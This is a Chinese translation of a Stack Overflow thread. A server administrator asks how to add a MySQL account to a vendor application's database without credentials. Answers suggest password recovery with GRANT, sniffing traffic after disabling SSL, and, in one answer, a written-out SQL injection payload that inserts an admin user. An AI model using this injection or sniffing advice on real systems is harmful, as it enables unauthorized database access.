将用户账户注入到mySQL中

5
在这里处理一个奇怪的情况。
我们使用专有的工作站管理应用程序,它使用mySQL来存储其数据。在应用程序中,他们提供了许多报告,例如哪个用户在什么时间登录到哪台机器上,监视机器上安装了所有软件产品等等。我们想要进行一组不同的报告,但是他们不支持自定义报告。
由于他们的数据存储在mySQL中,我认为我可以手动进行报告。然而,我没有有效的凭据连接到mySQL服务器。 有没有办法让我在mySQL服务器中创建一个用户帐户? 我不想重置root密码或任何可能存在的帐户,因为这可能会破坏应用程序。
我完全可以访问Windows 2003服务器。我可以停止和重新启动服务,包括mySQL服务器。对于实际的mySQL服务器,我只能通过软件提供的GUI进行基本访问。由于缺乏凭据,我无法直接通过CLI或其他工具连接到它。
如果我的行为让您觉得我试图未经授权地访问mySQL服务器,请接受我的道歉。我已联系软件公司,但至今已经两周没有收到回复。我需要获得数据。我完全可以访问物理框,我拥有管理员权限。
5个回答

9
您需要使用MySQL密码恢复过程。请按照这些说明操作,但将密码重置查询替换为查询添加新用户。新用户查询可能类似于:
GRANT ALL ON *.* TO 'myuser'@'localhost' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;

这将创建一个新用户“myuser”,其密码为“mypassword”,可以通过本地系统的CLI登录MySQL。然后,您可以使用MySQL管理员GUI(在此下载)并更新用户权限,以便您可以从网络上的其他系统登录。或者,如果您更喜欢通过CLI进行操作,也可以使用GRANT语句

问题在于它重置了根密码,这意味着如果应用程序依赖于已知的根密码,那么它不再是那个密码了...而且用户明确不想重置根密码。 - delfuego
1
哦,我明白了 - 是的,那会非常好。太棒了。抱歉我有点傻。 - delfuego
delfuego,这就是我建议用一个添加新用户的查询替换实际重置密码的查询的原因。 - John Millikin

0

您是否可以访问所涉及的 MySQL 服务器?

也就是说,除了普通用户之外,您还有什么其他权限?在尝试“破解”该软件之前,应该先通过这些途径进行尝试,因为那可能是不可行的。


0

有一件事情让我想到了,那就是嗅探数据库通信并希望它没有加密。如果它被加密了,请尝试更改配置以不使用SSL并重新启动MySQL。我使用的一个好的嗅探器是Wireshark

来自mysql 5.0文档

MySQL支持使用安全套接字层(SSL)协议在MySQL客户端和服务器之间建立安全(加密)连接。本节讨论如何使用SSL连接,并介绍在Windows上设置SSH的方法。有关如何要求用户使用SSL连接的信息,请参见第12.5.1.3节“GRANT Syntax”中GRANT语句的REQUIRE子句的讨论。
MySQL的标准配置旨在尽可能快速,因此默认情况下不使用加密连接。这样做会使客户端/服务器协议变得更慢。加密数据是一项需要计算机进行额外工作并可能延迟其他MySQL任务的CPU密集型操作。对于需要加密连接提供的安全性的应用程序,额外的计算是必要的。
MySQL允许在每个连接上启用加密。您可以根据各个应用程序的要求选择普通的未加密连接或安全的加密SSL连接。
安全连接基于OpenSSL API,并通过MySQL C API提供。复制使用C API,因此主服务器和从服务器之间可以使用安全连接。

你可能已经这样做了,但还是要尝试搜索应用程序的配置文件。如果没有找到,可以尝试搜索可执行文件/源代码 - 如果你幸运的话,它可能是明文的。


0

很有可能数据库端有触发器记录日志,因此当你自己入侵数据库时,他们会知道你是何时以及如何做到的。这不是一个好主意。


我会说认为在数据库上设置某种触发器,当未知用户登录时它就会触发的想法是荒谬的。他们如何设置体系结构以支持此功能?是否还内置了SMTP客户端来发送警报?使用什么邮件服务器?这种可能性几乎为零。 - delfuego

0

我想我不应该回答这个问题,但这太有趣了。

看看关于SQL注入的这个页面。那应该满足你的需求。 这个页面展示了如何向mySQL添加用户账户。

我建议在随机用户输入字段中尝试输入以下内容:

p'; INSERT INTO user VALUES

('localhost','myNewAdmin',PASSWORD('some_pass'), 'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');

接着

p'; FLUSH PRIVILEGES;

p'; 用于结束正常的问题。例如 - 正常问题是:

"Select Adress from cusomers where custName = ' + $INPUT + ';

变成

    Select Adress from cusomers where custName = 'p'; INSERT INTO user 
VALUES('localhost','myNewAdmin',PASSWORD('some_pass'), 
'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'); 

我不介意被踩,但我更想知道哪里得罪了大家。我觉得我回答了问题。如果我的回答是错误的,我应该会收到很多踩,但请留下评论让提问者知道我的回答不可信。 - Tnilsson
我点了踩,因为如果你被锁在家外面,解决方案是找锁匠而不是用钢锯。 - John Millikin
点赞,因为它是一个解决方案,也是一篇有趣的阅读。 - Sophia

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接